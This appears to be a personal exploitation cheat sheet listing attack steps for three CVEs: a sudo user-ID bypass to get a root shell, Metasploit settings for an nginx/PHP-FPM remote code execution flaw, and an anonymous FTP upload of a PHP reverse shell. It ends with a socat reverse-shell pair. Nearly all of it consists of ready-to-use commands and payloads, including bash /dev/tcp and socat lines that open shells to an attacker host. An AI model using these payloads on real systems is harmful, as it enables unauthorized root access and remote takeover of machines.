cve_exploits

CVE-2019-14287 (Sudoers privilege escalation)

1. On target launch next command to get root shell

sudo -lu#-1 /bin/bash

CVE-2019-11043 (Nginx + PHP-FPM buffer overflow)

1. Use Metasploit exploit(multi/http/php_fpm_rce)

RHOST=TARGET_IP 

RPORT=TARGET_PORT 

TARGETURI=/target_vulnerable_file.php

CVE-1999-0527 (FTP server with world writable directories)

1. Anonymous FTP Login with user "anonymous" and no password on target FTP
2. On target FTP upload reversephpshell.php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'");?>

3. On attacker launch

nc -v -n -l -p ATTACKER_PORT

4. On target call reverseshell

http://TARGET_IP:TARGET_PORT/reversephpshell.php

Others

Socat Reverse Shell

On attacker

socat file:`tty`,raw,echo=0 tcp-listen:ATTACKER_PORT

On target

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:ATTACKER_PORT;